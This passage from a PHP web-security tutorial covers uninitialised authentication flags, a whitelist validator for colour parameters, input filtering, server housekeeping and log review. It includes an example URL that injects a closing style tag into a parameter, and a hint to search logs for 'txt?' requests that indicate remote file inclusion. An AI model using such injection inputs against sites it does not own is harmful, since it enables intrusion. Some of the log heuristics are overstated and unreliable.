4     $authenticated = true;
5 }
6 if($authenticated) {
7   // do something only admins are allowed to do
8 }

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

01 $color = ‘white’;
02 $background = ‘black’;
03 if(isset($_GET['color']) && isvalid($_GET['color'])){
04   $color = $_GET['color'];
05   if(ishexcolor($color)){
06     $color = ‘#’.$color;
07   }
08 }
09 if(isset($_GET['background']) && isvalid($_GET['background'])){
10   $background = $_GET['background'];
11   if(ishexcolor($background)){
12     $background = ‘#’.$background;
13   }
14 }
15 function isvalid($col){
16   // only allow for values that contain a to z or 0 to 9
17   return preg_match(‘/^[a-z0-9]+$/’,$col);
18 }
19 function ishexcolor($col){
20   // checks if the string is 3 or 6 characters
21   if(strlen($col)==3 || strlen($col)==6){
22     // checks if the string only contains a to f or 0 to 9
23     return preg_match(‘/^[a-f0-9]+$/’,$col);
24   }
25 }

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

  • Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
  • Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
  • Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
  • Check the error messages and how many of them were 404 errors (”Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
  • Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.